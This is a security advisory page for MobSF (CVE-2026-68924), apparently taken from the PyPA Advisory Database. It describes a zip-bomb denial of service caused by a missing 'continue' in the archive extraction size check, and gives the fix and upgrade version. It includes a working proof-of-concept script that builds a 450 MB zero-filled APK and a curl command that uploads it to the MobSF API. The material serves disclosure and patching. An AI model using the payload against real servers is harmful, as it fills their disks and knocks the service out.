mobsf
Affected
- introduced
0, fixed4.5.1(ecosystem)
Fixed versions
4.5.1
Fix
- Fixed version
4.5.1pip install --upgrade mobsf==4.5.1
Advisory
Also known as: CVE-2026-68924, GHSA-x768-8642-mmq9
MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in shared_func.py lines 153–182:
# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
# ← BUG: No 'continue' here! Execution falls through.
# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
raise Exception(msg)
# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
continue
else:
fileinfo.external_attr = ...
# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
zipptr.extract(file_path, ext_path) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
#!/usr/bin/env python3
import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
# 450 MB file (exceeds 400 MB limit) — compresses to ~KB
info = zipfile.ZipInfo('assets/huge.bin')
info.compress_type = zipfile.ZIP_DEFLATED
with zf.open(info, 'w') as f:
for _ in range(450):
f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
curl -X POST http://127.0.0.1:8000/api/v1/upload \
-H "X-Mobsf-Api-Key: YOUR_KEY" \
-F "[email protected]"
3. Trigger scan, then verify:
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
Remediation
Add continue after the size warning:
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
continue # ← ADD THIS LINEMedium Basis: CVSS v3 score 4.9, vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
0, fixed 4.5.1 (ecosystem)4.5.1
4.5.1pip install --upgrade mobsf==4.5.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0